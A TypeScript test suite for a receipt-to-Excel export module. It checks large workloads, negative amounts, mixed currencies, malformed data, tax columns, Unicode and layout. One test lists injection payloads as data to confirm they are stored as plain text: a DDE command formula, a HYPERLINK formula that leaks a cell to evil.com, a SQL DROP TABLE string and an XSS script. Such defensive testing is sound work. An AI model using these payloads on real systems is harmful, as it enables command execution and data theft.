/**
 * Empirical Challenger: Adversarial Stress Test & Edge-Case Verification Suite for Excel Generator
 * Target: src/lib/export/excelGenerator.ts
 *
 * Test Dimensions:
 * 1. Extreme Scale (1,000+ line items, 1,000+ receipts, memory and formula integrity)
 * 2. Negative Financials (discounts, stornos, Pfand refunds, [Red] formatting, algebraic sign consistency)
 * 3. Multi-Currency Heterogeneity (EUR, USD, CHF, GBP, JPY, CAD, lowercase, whitespace, symbols, empty)
 * 4. Missing / Malformed / Corrupted Data Objects (undefined/null properties, malformed dates, NaN/Infinity)
 * 5. High-Dimensional Dynamic Tax Rates (0%, 2.5%, 3.8%, 7%, 8.1%, 10%, 13%, 19%, 20%, 25%, >26 columns Z -> AA)
 * 6. Unicode, Emojis, RTL, Special Characters & Formula Injection Strings
 * 7. Dynamic Conditional Columns (Trinkgeld/Tips and Hospitality/Bewirtung visibility)
 * 8. Strict Round-Trip ExcelJS Buffer Parsing & Formula Syntax Verification
 */

import ExcelJS from "exceljs";
import { describe, test, expect } from "./runner";
import { generateDualSheetExcel, ExcelExportOptions } from "../../src/lib/export/excelGenerator";
import { ProcessedReceipt, LineItem, TaxBreakdownItem } from "../../src/lib/schema/receipt";

// Helper to construct a base valid receipt
function createMockReceipt(overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
  return {
    id: `rec-${Math.random().toString(36).slice(2, 9)}`,
    merchant: { name: "Test Merchant GmbH", address: "Musterstraße 1, 10115 Berlin", taxId: "DE123456789", confidence: 0.98 },
    date: { isoDate: "2026-08-16", time: "14:30", confidence: 0.95 },
    documentType: "KASSENBON",
    receiptNumber: "REC-2026-001",
    currency: "EUR",
    totalAmount: { value: 119.00, confidence: 0.99 },
    netAmount: 100.00,
    tipAmount: null,
    taxBreakdown: [
      { ratePercent: 19, taxAmount: 19.00, netAmount: 100.00 },
    ],
    lineItems: [
      { description: "Standard Item 1", quantity: 1, unitPrice: 100.00, price: 100.00, taxRate: 19 },
    ],
    suggestedCategory: "Bürobedarf & IT",
    validation: {
      isMathValid: true,
      isDuplicateSuspected: false,
      needsUserReview: false,
      reviewField: "none",
      reviewReason: null,
      userConfirmed: false,
    },
    imageHash: "hash-test-001",
    originalFileName: "receipt.jpg",
    fileSizeBytes: 204800,
    createdAt: "2026-08-16T14:30:00.000Z",
    updatedAt: "2026-08-16T14:30:00.000Z",
    status: "ready",
    ...overrides,
  } as ProcessedReceipt;
}

// Helper to parse buffer back into ExcelJS Workbook
async function parseExcelBuffer(buffer: Buffer): Promise<ExcelJS.Workbook> {
  const wb = new ExcelJS.Workbook();
  await wb.xlsx.load(buffer as unknown as ArrayBuffer);
  return wb;
}

describe("Adversarial Excel: 1. Extreme Scale & Workloads (1,000+ Items)", () => {
  test("SCALE-1: 1,000 receipts with 1 line item each generates and parses cleanly in < 3s", async () => {
    const receipts: ProcessedReceipt[] = [];
    for (let i = 1; i <= 1000; i++) {
      receipts.push(
        createMockReceipt({
          id: `rec-scale-${i}`,
          receiptNumber: `NO-${i}`,
          merchant: { name: `Merchant ${i}`, address: null, taxId: `DE${100000 + i}`, confidence: 0.9 },
          totalAmount: { value: 10.0 + (i % 50), confidence: 0.95 },
          netAmount: 8.4 + ((i % 50) * 0.84),
          taxBreakdown: [{ ratePercent: 19, taxAmount: 1.6 + ((i % 50) * 0.16), netAmount: 8.4 }],
          lineItems: [{ description: `Item ${i}`, quantity: 1, unitPrice: 10.0 + (i % 50), price: 10.0 + (i % 50), taxRate: 19 }],
        })
      );
    }

    const t0 = performance.now();
    const buffer = await generateDualSheetExcel(receipts);
    const duration = performance.now() - t0;

    expect(Buffer.isBuffer(buffer)).toBe(true);
    expect(buffer.length).toBeGreaterThan(50000); // Realistic workbook size > 50KB
    expect(duration).toBeLessThan(3500); // Must generate quickly

    const wb = await parseExcelBuffer(buffer);
    const overviewSheet = wb.getWorksheet("Belegübersicht");
    const lineItemSheet = wb.getWorksheet("Einzelpositionen Detail");

    expect(overviewSheet).toBeDefined();
    expect(lineItemSheet).toBeDefined();

    // Overview: 1 header + 1000 data rows + 1 total row = 1002 rows
    expect(overviewSheet!.rowCount).toBe(1002);
    // Line items: 1 header + 1000 item rows = 1001 rows
    expect(lineItemSheet!.rowCount).toBe(1001);

    // Verify last data row live formula syntax
    // Overview standard columns: 1: Nr, 2: Date, 3: Merchant, 4: Cat, 5: DocType, 6: RecNo, 7: Net, 8: MwSt 7%, 9: MwSt 19%, 10: Gross, 11: Currency, 12: MwSt gesamt, 13: Netto rechnerisch
    const row1001 = overviewSheet!.getRow(1001);
    const taxTotalCell = row1001.getCell(12).value as { formula?: string };
    const netCalcCell = row1001.getCell(13).value as { formula?: string };
    expect(taxTotalCell.formula).toBe("SUM(H1001:I1001)");
    expect(netCalcCell.formula).toBe("J1001-L1001");
  });

  test("SCALE-2: Single receipt with 1,500 line items generates and maps correctly", async () => {
    const items: LineItem[] = [];
    let grossSum = 0;
    for (let i = 1; i <= 1500; i++) {
      const price = Math.round((1.5 + (i * 0.05)) * 100) / 100;
      grossSum += price;
      items.push({
        description: `High volume item #${i}`,
        quantity: i % 5 + 1,
        unitPrice: price,
        price: price,
        taxRate: 19,
      });
    }

    const receipt = createMockReceipt({
      id: "rec-heavy-lines",
      totalAmount: { value: Math.round(grossSum * 100) / 100, confidence: 0.99 },
      netAmount: Math.round((grossSum / 1.19) * 100) / 100,
      taxBreakdown: [{ ratePercent: 19, taxAmount: Math.round((grossSum - grossSum / 1.19) * 100) / 100, netAmount: Math.round((grossSum / 1.19) * 100) / 100 }],
      lineItems: items,
    });

    const buffer = await generateDualSheetExcel([receipt]);
    const wb = await parseExcelBuffer(buffer);

    const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!;
    expect(lineSheet.rowCount).toBe(1501); // 1 header + 1500 line items

    // Check first and last line item rows
    // Col 1: receiptIdx, Col 4: description
    const firstRow = lineSheet.getRow(2);
    expect(firstRow.getCell(1).value).toBe(1);
    expect(firstRow.getCell(4).value).toBe("High volume item #1");

    const lastRow = lineSheet.getRow(1501);
    expect(lastRow.getCell(1).value).toBe(1);
    expect(lastRow.getCell(4).value).toBe("High volume item #1500");
  });
});

describe("Adversarial Excel: 2. Negative Financials, Discounts & Pfand Refunds", () => {
  test("NEG-1: Negative total amounts (stornos/credit notes) format with [Red] numFmt and algebraic totals", async () => {
    const receipts = [
      createMockReceipt({
        id: "rec-pos",
        totalAmount: { value: 100.0, confidence: 0.99 },
        netAmount: 84.03,
        taxBreakdown: [{ ratePercent: 19, taxAmount: 15.97, netAmount: 84.03 }],
      }),
      createMockReceipt({
        id: "rec-storno",
        merchant: { name: "Retoure & Gutschrift", address: null, taxId: null, confidence: 0.9 },
        totalAmount: { value: -40.0, confidence: 0.99 },
        netAmount: -33.61,
        taxBreakdown: [{ ratePercent: 19, taxAmount: -6.39, netAmount: -33.61 }],
      }),
    ];

    const buffer = await generateDualSheetExcel(receipts);
    const wb = await parseExcelBuffer(buffer);
    const sheet = wb.getWorksheet("Belegübersicht")!;

    // Col 7: Net, Col 10: Gross
    const row3 = sheet.getRow(3);
    const netCell = row3.getCell(7);
    const grossCell = row3.getCell(10);

    expect(netCell.value).toBe(-33.61);
    expect(grossCell.value).toBe(-40.0);

    // Number format must include [Red] for negative visual styling
    expect(netCell.numFmt.includes("[Red]")).toBe(true);
    expect(grossCell.numFmt.includes("[Red]")).toBe(true);

    // Grand total row formula (Row 4, Col 10: Gross)
    const totalRow = sheet.getRow(4);
    const grossTotalCell = totalRow.getCell(10).value as { formula?: string };
    expect(grossTotalCell.formula).toBe("SUM(J2:J3)");
  });

  test("NEG-2: Line items with negative Pfand / voucher discounts render without failure", async () => {
    const receipt = createMockReceipt({
      id: "rec-pfand",
      lineItems: [
        { description: "Mineralwasser Kiste", quantity: 1, unitPrice: 5.99, price: 5.99, taxRate: 19 },
        { description: "Leergutrückgabe / Pfand", quantity: 1, unitPrice: -3.30, price: -3.30, taxRate: 19 },
        { description: "Aktionsgutschein Rabatt", quantity: 1, unitPrice: -1.50, price: -1.50, taxRate: 19 },
      ],
      totalAmount: { value: 1.19, confidence: 0.99 },
      netAmount: 1.00,
      taxBreakdown: [{ ratePercent: 19, taxAmount: 0.19, netAmount: 1.00 }],
    });

    const buffer = await generateDualSheetExcel([receipt]);
    const wb = await parseExcelBuffer(buffer);
    const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!;

    expect(lineSheet.rowCount).toBe(4); // 1 header + 3 items
    // Col 4: Description, Col 8: Line Total Price
    const pfandRow = lineSheet.getRow(3);
    expect(pfandRow.getCell(4).value).toBe("Leergutrückgabe / Pfand");
    expect(pfandRow.getCell(8).value).toBe(-3.30);
    expect(pfandRow.getCell(8).numFmt.includes("[Red]")).toBe(true);

    const discountRow = lineSheet.getRow(4);
    expect(discountRow.getCell(8).value).toBe(-1.50);
  });
});

describe("Adversarial Excel: 3. Multi-Currency Heterogeneity & Breakdown Matrix", () => {
  test("CURR-1: Single currency EUR includes (€) suffix and standard SUM total", async () => {
    const receipts = [
      createMockReceipt({ currency: "EUR", totalAmount: { value: 50.0, confidence: 0.99 } }),
      createMockReceipt({ currency: "EUR", totalAmount: { value: 30.0, confidence: 0.99 } }),
    ];

    const buffer = await generateDualSheetExcel(receipts);
    const wb = await parseExcelBuffer(buffer);
    const sheet = wb.getWorksheet("Belegübersicht")!;

    // Header Col 7: Net
    const netHeader = sheet.getRow(1).getCell(7).value;
    expect(String(netHeader)).toContain("(€)");

    // Grand total row: Col 3 is Merchant label, Col 10 is Gross Total, Col 11 is Currency
    const totalRow = sheet.getRow(4);
    expect(totalRow.getCell(3).value).toBe("GESAMTSUMME");
    const grossTotal = totalRow.getCell(10).value as { formula?: string };
    expect(grossTotal.formula).toBe("SUM(J2:J3)");
    expect(totalRow.getCell(11).value).toBe("EUR");
  });

  test("CURR-2: Single non-EUR currency (USD) applies USD code in headers, formatting and total", async () => {
    const receipts = [
      createMockReceipt({ currency: "USD", totalAmount: { value: 45.0, confidence: 0.99 } }),
    ];

    const buffer = await generateDualSheetExcel(receipts);
    const wb = await parseExcelBuffer(buffer);
    const sheet = wb.getWorksheet("Belegübersicht")!;

    const netHeader = sheet.getRow(1).getCell(7).value;
    expect(String(netHeader)).toContain("(USD)");

    const totalRow = sheet.getRow(3);
    expect(totalRow.getCell(11).value).toBe("USD");
  });

  test("CURR-3: Mixed currencies (EUR, USD, CHF, GBP, JPY) disables blind sum and generates SUMIFS matrix", async () => {
    const receipts = [
      createMockReceipt({ currency: "EUR", suggestedCategory: "Reisekosten & Hotel", totalAmount: { value: 100.0, confidence: 0.99 } }),
      createMockReceipt({ currency: "USD", suggestedCategory: "Bürobedarf & IT", totalAmount: { value: 200.0, confidence: 0.99 } }),
      createMockReceipt({ currency: "CHF", suggestedCategory: "Reisekosten & Hotel", totalAmount: { value: 150.0, confidence: 0.99 } }),
      createMockReceipt({ currency: "GBP", suggestedCategory: "Sonstiges", totalAmount: { value: 50.0, confidence: 0.99 } }),
      createMockReceipt({ currency: "JPY", suggestedCategory: "Bewirtung", totalAmount: { value: 5000.0, confidence: 0.99 } }),
    ];

    const buffer = await generateDualSheetExcel(receipts);
    const wb = await parseExcelBuffer(buffer);
    const sheet = wb.getWorksheet("Belegübersicht")!;

    // Header Col 7: Net must NOT have a single currency suffix
    const netHeader = String(sheet.getRow(1).getCell(7).value);
    expect(netHeader.endsWith("(€)")).toBe(false);
    expect(netHeader.endsWith("(USD)")).toBe(false);

    // Total row merchant cell (Col 3) has mixed notice
    const totalRow = sheet.getRow(7);
    expect(String(totalRow.getCell(3).value)).toContain("mehrere Währungen");
    // Mixed currency MUST NOT sum across currencies in the main table row
    expect(totalRow.getCell(10).value).toBeNull();

    // Verify Category Summary block (placed to the right of the main table)
    // Summary headers should start at column (lastCol + 2)
    let summaryCol = -1;
    sheet.getRow(1).eachCell((cell, colNumber) => {
      if (cell.value === "Auswertung je Kategorie" || cell.value === "Kategorie") {
        summaryCol = colNumber;
      }
    });
    expect(summaryCol).toBeGreaterThan(10);

    // Check that SUMIFS is used for mixed currency category rows
    const summaryDataRow = sheet.getRow(2);
    const countFormula = summaryDataRow.getCell(summaryCol + 2).value as { formula?: string };
    expect(countFormula.formula).toContain("COUNTIFS(");

    const sumFormula = summaryDataRow.getCell(summaryCol + 3).value as { formula?: string };
    expect(sumFormula.formula).toContain("SUMIFS(");
  });

  test("CURR-4: Unusual and unsanitized currency strings (lowercase, whitespace, symbols, empty)", async () => {
    const receipts = [
      createMockReceipt({ currency: "  usd  " as any }),
      createMockReceipt({ currency: "eur" as any }),
      createMockReceipt({ currency: "" as any }),
      createMockReceipt({ currency: undefined as any }),
      createMockReceipt({ currency: "$$$" as any }),
    ];

    const buffer = await generateDualSheetExcel(receipts);
    const wb = await parseExcelBuffer(buffer);
    const sheet = wb.getWorksheet("Belegübersicht")!;

    // Currency values in data rows: Col 11 is currency
    expect(sheet.getRow(2).getCell(11).value).toBe("USD");
    expect(sheet.getRow(3).getCell(11).value).toBe("EUR");
    expect(sheet.getRow(4).getCell(11).value).toBe("EUR"); // empty string defaults to EUR
    expect(sheet.getRow(5).getCell(11).value).toBe("EUR"); // undefined defaults to EUR
    expect(sheet.getRow(6).getCell(11).value).toBe("$$$");
  });
});

describe("Adversarial Excel: 4. Missing, Null, Undefined & Malformed Objects", () => {
  test("DEF-1: Completely empty or corrupted receipt objects do not throw exceptions", async () => {
    const dirtyReceipts: any[] = [
      {},
      { id: "empty-1" },
      { merchant: null, date: null, totalAmount: null, lineItems: null, taxBreakdown: null },
      { merchant: { name: undefined, taxId: undefined }, totalAmount: { value: undefined } },
      null,
      undefined,
    ];

    const buffer = await generateDualSheetExcel(dirtyReceipts);
    expect(Buffer.isBuffer(buffer)).toBe(true);

    const wb = await parseExcelBuffer(buffer);
    const overview = wb.getWorksheet("Belegübersicht")!;
    const lineItems = wb.getWorksheet("Einzelpositionen Detail")!;

    expect(overview).toBeDefined();
    expect(lineItems).toBeDefined();
    // 4 non-null receipts + 1 header + 1 total = 6 rows in overview
    expect(overview.rowCount).toBe(6);
  });

  test("DEF-2: Date edge cases (invalid strings, leap years, non-ISO formats)", async () => {
    const receipts = [
      createMockReceipt({ date: { isoDate: "2026-08-15", time: null, confidence: 0.9 } }), // valid
      createMockReceipt({ date: { isoDate: "2024-02-29", time: null, confidence: 0.9 } }), // leap year valid
      createMockReceipt({ date: { isoDate: "2026-02-29", time: null, confidence: 0.9 } }), // 2026 leap day invalid -> kept as text
      createMockReceipt({ date: { isoDate: "15.08.2026", time: null, confidence: 0.9 } }), // German format -> text
      createMockReceipt({ date: { isoDate: "not-a-date", time: null, confidence: 0.9 } }), // invalid -> text
      createMockReceipt({ date: null as any }), // null -> text ""
    ];

    const buffer = await generateDualSheetExcel(receipts);
    const wb = await parseExcelBuffer(buffer);
    const sheet = wb.getWorksheet("Belegübersicht")!;

    // Col 2: Date
    // Row 2: valid Date object
    const cellValid = sheet.getRow(2).getCell(2);
    expect(cellValid.value instanceof Date).toBe(true);
    expect(cellValid.numFmt).toBe("DD.MM.YYYY");

    // Row 3: valid leap year 2024 Date object
    const cellLeap = sheet.getRow(3).getCell(2);
    expect(cellLeap.value instanceof Date).toBe(true);

    // Row 4: invalid 2026-02-29 preserved as raw string
    const cellInvalidLeap = sheet.getRow(4).getCell(2);
    expect(typeof cellInvalidLeap.value).toBe("string");
    expect(cellInvalidLeap.value).toBe("2026-02-29");

    // Row 5: German dot format preserved as text
    const cellDot = sheet.getRow(5).getCell(2);
    expect(cellDot.value).toBe("15.08.2026");

    // Row 6: invalid string preserved
    const cellText = sheet.getRow(6).getCell(2);
    expect(cellText.value).toBe("not-a-date");

    // Row 7: null preserved as empty string
    const cellNull = sheet.getRow(7).getCell(2);
    expect(cellNull.value).toBe("");
  });

  test("DEF-3: Completely empty dataset [] produces valid workbook with empty placeholder", async () => {
    const buffer = await generateDualSheetExcel([]);
    const wb = await parseExcelBuffer(buffer);

    const overview = wb.getWorksheet("Belegübersicht")!;
    const lineItems = wb.getWorksheet("Einzelpositionen Detail")!;

    // Overview has header row and grand total row
    expect(overview.rowCount).toBe(2);
    // Line items has header row and the 'no items' informative row
    expect(lineItems.rowCount).toBe(2);
    expect(String(lineItems.getRow(2).getCell(1).value)).toContain("keine Einzelpositionen erfasst");
  });
});

describe("Adversarial Excel: 5. High-Dimensional Dynamic Tax Rates (> 26 Columns / Z -> AA)", () => {
  test("TAX-1: Many dynamic tax rates spanning beyond 26 columns (AA, AB, AC...) with accurate SUM formulas", async () => {
    // Generate 25 distinct tax rates across receipts: 0.5%, 1%, 2% ... 25%, plus standard 7% and 19%
    const taxRatesList = [
      0.5, 1, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 7.7, 8, 8.1, 8.875, 10, 11, 12, 13, 14, 15, 16, 17, 18, 20, 21, 22, 23, 24, 25
    ];

    const receipts: ProcessedReceipt[] = taxRatesList.map((rate, idx) => {
      return createMockReceipt({
        id: `rec-tax-${idx}`,
        totalAmount: { value: 100 + rate, confidence: 0.99 },
        netAmount: 100,
        taxBreakdown: [
          { ratePercent: rate, taxAmount: rate, netAmount: 100 },
        ],
      });
    });

    const buffer = await generateDualSheetExcel(receipts);
    const wb = await parseExcelBuffer(buffer);
    const sheet = wb.getWorksheet("Belegübersicht")!;

    // Check column count in Overview sheet
    const headerRow = sheet.getRow(1);
    let totalCols = 0;
    headerRow.eachCell(() => totalCols++);

    // 7 standard initial cols + 32 tax cols + gross + currency + taxTotal + netCalc + taxId + status = 45+ cols
    expect(totalCols).toBeGreaterThan(35);

    // Verify row 2 formulas:
    // With 32 tax rates: firstTaxCol = 8 (H), lastTaxCol = 8 + 32 - 1 = 39 (AM)
    // grossCol = 40 (AN), currencyCol = 41 (AO), taxTotalCol = 42 (AP), netCalcCol = 43 (AQ)
    const row2 = sheet.getRow(2);
    const taxTotalCell = row2.getCell(42).value as { formula?: string };
    expect(taxTotalCell).toBeDefined();
    expect(taxTotalCell.formula).toBe("SUM(H2:AM2)");

    const netCalcCell = row2.getCell(43).value as { formula?: string };
    expect(netCalcCell).toBeDefined();
    expect(netCalcCell.formula).toBe("AN2-AP2");
  });

  test("TAX-2: Zero-tax-amount entries (taxAmount = 0) do not create redundant non-standard columns", async () => {
    const receipts = [
      createMockReceipt({
        taxBreakdown: [
          { ratePercent: 19, taxAmount: 19.0, netAmount: 100.0 },
          { ratePercent: 0, taxAmount: 0.0, netAmount: 50.0 }, // 0% with 0.00 tax
          { ratePercent: 13, taxAmount: 0.0, netAmount: 10.0 }, // 13% with 0.00 tax -> must not create 13% column
        ],
      }),
    ];

    const buffer = await generateDualSheetExcel(receipts);
    const wb = await parseExcelBuffer(buffer);
    const sheet = wb.getWorksheet("Belegübersicht")!;

    const headers: string[] = [];
    sheet.getRow(1).eachCell((c) => headers.push(String(c.value ?? "")));

    // 7% and 19% standard rates must always exist
    expect(headers.some((h) => h.includes("MwSt 7 %"))).toBe(true);
    expect(headers.some((h) => h.includes("MwSt 19 %"))).toBe(true);
    // 13% with 0 tax amount should NOT create a dedicated column
    expect(headers.some((h) => h.includes("MwSt 13 %"))).toBe(false);
  });
});

describe("Adversarial Excel: 6. Unicode, RTL, Emojis & Formula Injection Attacks", () => {
  test("SEC-1: Malicious spreadsheet formula injection strings are treated safely as raw text", async () => {
    const injectionStrings = [
      "=SUM(A1:A10)",
      "+cmd|' /C calc'!A0",
      "-@SUM(1,2)",
      "@HYPERLINK(\"http://evil.com?leak=\"&A1, \"Click Me\")",
      "=1+1",
      "'; DROP TABLE receipts; --",
      "<script>alert('xss')</script>",
    ];

    const receipts = injectionStrings.map((payload, idx) => {
      return createMockReceipt({
        id: `rec-inj-${idx}`,
        merchant: { name: payload, address: payload, taxId: payload, confidence: 0.9 },
        receiptNumber: payload,
        suggestedCategory: payload as any,
        lineItems: [
          { description: payload, quantity: 1, unitPrice: 10.0, price: 10.0, taxRate: 19 },
        ],
      });
    });

    const buffer = await generateDualSheetExcel(receipts);
    const wb = await parseExcelBuffer(buffer);

    const overview = wb.getWorksheet("Belegübersicht")!;
    const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!;

    // Overview cols: 3: Merchant, 4: Category, 6: ReceiptNo
    // Line items cols: 4: Description
    injectionStrings.forEach((payload, idx) => {
      const row = overview.getRow(idx + 2);
      expect(row.getCell(3).value).toBe(payload);
      expect(row.getCell(4).value).toBe(payload);
      expect(row.getCell(6).value).toBe(payload);

      const lineRow = lineSheet.getRow(idx + 2);
      expect(lineRow.getCell(4).value).toBe(payload);
    });
  });

  test("SEC-2: Multilingual, RTL, CJK & Multi-byte Emoji strings preserve exact fidelity", async () => {
    const testCases = [
      { name: "☕ Café Süß & Lecker 🥨 GmbH", cat: "🍽️ Bewirtung", item: "Cappuccino Grande ☕ & Croissant 🥐" },
      { name: "寿司 🍣 居酒屋 東京 Tokyo", cat: "食事 🍜", item: "サーモン 刺身 盛り合わせ 🍱" },
      { name: "مكتبة النور للكتب والقرطاسية", cat: "مستلزمات مكتبية", item: "دفتر ملاحظات وقلم فاخر ✒️" },
      { name: "Большой театр сувениры 🎭", cat: "Культура", item: "Билет на балет 'Щелкунчик' 🎟️" },
      { name: "Frühstückscafé 'Zur Gemütlichkeit' <Special>", cat: "Essen & Trinken", item: "100% Bio-Vollmilch & Käse-Schinken-Toast" },
    ];

    const receipts = testCases.map((tc, idx) => {
      return createMockReceipt({
        id: `rec-uni-${idx}`,
        merchant: { name: tc.name, address: null, taxId: null, confidence: 0.9 },
        suggestedCategory: tc.cat as any,
        lineItems: [{ description: tc.item, quantity: 1, unitPrice: 25.0, price: 25.0, taxRate: 19 }],
      });
    });

    const buffer = await generateDualSheetExcel(receipts);
    const wb = await parseExcelBuffer(buffer);
    const overview = wb.getWorksheet("Belegübersicht")!;
    const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!;

    testCases.forEach((tc, idx) => {
      const row = overview.getRow(idx + 2);
      expect(row.getCell(3).value).toBe(tc.name);
      expect(row.getCell(4).value).toBe(tc.cat);

      const lineRow = lineSheet.getRow(idx + 2);
      expect(lineRow.getCell(4).value).toBe(tc.item);
    });
  });
});

describe("Adversarial Excel: 7. Conditional Columns (Trinkgeld & Hospitality)", () => {
  test("COND-1: Hospitality columns appear ONLY when hospitality data is present", async () => {
    // 1. Without hospitality
    const withoutHosp = [createMockReceipt({ hospitality: undefined, documentType: "KASSENBON" })];
    const buf1 = await generateDualSheetExcel(withoutHosp);
    const wb1 = await parseExcelBuffer(buf1);
    const headers1: string[] = [];
    wb1.getWorksheet("Belegübersicht")!.getRow(1).eachCell((c) => headers1.push(String(c.value ?? "")));

    expect(headers1.some((h) => h.includes("Anlass"))).toBe(false);
    expect(headers1.some((h) => h.includes("Teilnehmer"))).toBe(false);

    // 2. With hospitality
    const withHosp = [
      createMockReceipt({
        documentType: "BEWIRTUNGSBELEG",
        hospitality: { occasion: "Kundengespräch Roadmap 2026", participants: "Max Mustermann, Jane Doe" } as any,
      }),
    ];
    const buf2 = await generateDualSheetExcel(withHosp);
    const wb2 = await parseExcelBuffer(buf2);
    const sheet2 = wb2.getWorksheet("Belegübersicht")!;
    const headers2: string[] = [];
    sheet2.getRow(1).eachCell((c) => headers2.push(String(c.value ?? "")));

    expect(headers2.some((h) => h.includes("Anlass (Bewirtung)"))).toBe(true);
    expect(headers2.some((h) => h.includes("Teilnehmer (Bewirtung)"))).toBe(true);

    const occasionCol = headers2.indexOf("Anlass (Bewirtung)") + 1;
    const partCol = headers2.indexOf("Teilnehmer (Bewirtung)") + 1;

    const rowHosp = sheet2.getRow(2);
    expect(rowHosp.getCell(occasionCol).value).toBe("Kundengespräch Roadmap 2026");
    expect(rowHosp.getCell(partCol).value).toBe("Max Mustermann, Jane Doe");
  });

  test("COND-2: Tip columns appear ONLY when tip amount is present and calculate correctly", async () => {
    // 1. Without tip
    const bufNoTip = await generateDualSheetExcel([createMockReceipt({ tipAmount: null })]);
    const wbNoTip = await parseExcelBuffer(bufNoTip);
    const headersNoTip: string[] = [];
    wbNoTip.getWorksheet("Belegübersicht")!.getRow(1).eachCell((c) => headersNoTip.push(String(c.value ?? "")));
    expect(headersNoTip.some((h) => h.includes("Trinkgeld"))).toBe(false);
    expect(headersNoTip.some((h) => h.includes("Gesamt gezahlt"))).toBe(false);

    // 2. With tip
    const bufWithTip = await generateDualSheetExcel([
      createMockReceipt({
        totalAmount: { value: 50.0, confidence: 0.99 },
        tipAmount: 5.0,
      }),
    ]);
    const wbWithTip = await parseExcelBuffer(bufWithTip);
    const sheetWithTip = wbWithTip.getWorksheet("Belegübersicht")!;
    const headersWithTip: string[] = [];
    sheetWithTip.getRow(1).eachCell((c) => headersWithTip.push(String(c.value ?? "")));

    expect(headersWithTip.some((h) => h.includes("Trinkgeld"))).toBe(true);
    expect(headersWithTip.some((h) => h.includes("Gesamt gezahlt"))).toBe(true);

    // In Overview with tip:
    // Col 10: Gross (J), Col 14: Tip (N), Col 15: PaidTotal (O)
    const row2 = sheetWithTip.getRow(2);
    expect(row2.getCell(14).value).toBe(5.0);
    const paidFormula = (row2.getCell(15).value as { formula?: string }).formula;
    expect(paidFormula).toBe("J2+N(N2)");
  });
});

describe("Adversarial Excel: 8. Layout, Views, Print Setup & Styling Invariants", () => {
  test("LAYOUT-1: Freeze Panes, Tab Colors, Gridlines and Page Setup adhere to design contract", async () => {
    const buffer = await generateDualSheetExcel([createMockReceipt()], { locale: "de" });
    const wb = await parseExcelBuffer(buffer);

    const sheet1 = wb.getWorksheet("Belegübersicht")!;
    const sheet2 = wb.getWorksheet("Einzelpositionen Detail")!;

    // Tab colors
    expect(sheet1.properties.tabColor?.argb).toBe("FF1E293B");
    expect(sheet2.properties.tabColor?.argb).toBe("FF0F766E");

    // Views (frozen panes)
    const view1 = sheet1.views[0] as any;
    expect(view1.state).toBe("frozen");
    expect(view1.xSplit).toBe(3);
    expect(view1.ySplit).toBe(1);
    expect(view1.showGridLines).toBe(false);

    const view2 = sheet2.views[0] as any;
    expect(view2.state).toBe("frozen");
    expect(view2.xSplit).toBe(3);
    expect(view2.ySplit).toBe(1);
    expect(view2.showGridLines).toBe(false);

    // Page setup: landscape, fit to 1 page wide
    expect(sheet1.pageSetup.orientation).toBe("landscape");
    expect(sheet1.pageSetup.fitToWidth).toBe(1);
    expect(sheet1.pageSetup.fitToHeight).toBe(0);
    expect(sheet1.pageSetup.printTitlesRow).toBe("1:1");
  });
});
